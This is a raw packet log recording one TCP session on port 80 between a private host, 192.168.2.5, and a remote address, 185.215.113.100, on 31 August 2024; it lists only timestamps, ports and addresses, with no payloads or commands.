Aug 31, 2024 10:14:04.968070030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968095064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.968097925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968117952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968121052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.968127966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968142033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968148947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.968159914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968179941 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.968204975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.968249083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968257904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968264103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968269110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968274117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968278885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968317986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968333960 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.968338966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968353033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968363047 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.968363047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968381882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968389034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.968389034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.968415976 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.968431950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028194904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028279066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028306007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028314114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028326988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028337002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028342009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028359890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028373003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028450966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028458118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028458118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028458118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028462887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028480053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028493881 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028517962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028528929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028597116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028635979 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028677940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028717041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028762102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028799057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028805971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028808117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.028836012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.028851032 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029150009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029160023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029179096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029187918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029203892 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029220104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029275894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029314995 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029337883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029347897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029375076 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029386997 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029465914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029478073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029495955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029505968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029510975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029532909 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029561043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029644012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029655933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029675961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029678106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029686928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029696941 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029717922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029890060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029928923 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.029966116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029974937 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.029990911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030005932 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030028105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030052900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030090094 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030133009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030141115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030157089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030172110 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030185938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030203104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030419111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030456066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030510902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030519962 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030536890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030546904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030555964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030585051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030767918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030777931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030796051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030807972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030838966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030865908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030877113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030894041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.030903101 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.030939102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031122923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031132936 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031152010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031158924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031162024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031184912 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031213999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031418085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031461000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031486034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031493902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031511068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031527042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031553984 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031559944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031604052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031693935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031702995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031732082 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031735897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031744003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031749964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031763077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031780958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031805992 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031831980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031841040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031847954 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031863928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031883955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031884909 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031903028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031909943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031919956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031928062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031936884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031938076 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031949997 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031951904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031963110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.031975031 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.031975031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.032007933 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.032020092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.032042027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.032049894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.032082081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.032089949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.032089949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.032125950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.058741093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.058752060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.058768988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.058775902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.058795929 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.058804989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.058823109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.058931112 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.058931112 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.058981895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.058991909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059010029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059022903 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.059030056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059041023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059053898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.059060097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059073925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059082031 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.059091091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059101105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059113026 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.059122086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059124947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.059135914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059149027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.059159040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.059184074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.114895105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.115035057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.115052938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.115098953 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.177515984 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177527905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177548885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177561998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177582026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177592039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177609921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177618980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177625895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177637100 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177658081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177666903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177685976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177751064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.177751064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.177751064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.177751064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.177782059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177793026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177818060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177829027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177833080 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.177849054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.177862883 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.177891970 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.178303003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178313017 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178333998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178344011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178349018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.178364992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178375006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178378105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.178411961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.178422928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.178580046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178591967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178610086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178628922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178630114 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.178648949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.178654909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178668022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178674936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.178685904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178704023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.178730965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.178930044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178941011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178962946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.178982973 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.179004908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.179008007 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.179044008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.179241896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.179251909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.179270029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.179286957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.179292917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.179312944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.179332018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.179492950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.179507971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.179531097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.179539919 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.179541111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.179560900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.179562092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.179584980 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.179610014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.180376053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180423021 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.180628061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180638075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180655956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180669069 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.180684090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.180701971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.180721998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180809975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.180824995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180847883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180860996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180862904 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.180885077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180891037 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.180908918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.180926085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.180954933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180965900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180984974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180994987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.180999994 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181015015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181020021 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181044102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181075096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181107044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181117058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181137085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181144953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181148052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181164026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181169033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181174994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181195021 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181212902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181221008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181231976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181262016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181263924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181288958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181292057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181301117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181315899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181327105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181327105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181339025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181351900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181355953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181369066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181381941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181385040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181401014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181406021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181416035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181421041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181437969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181447983 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181457043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181466103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181472063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181483984 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.181484938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181504011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.181515932 CEST	80	49704	185.215.113.100	192.168.2.5
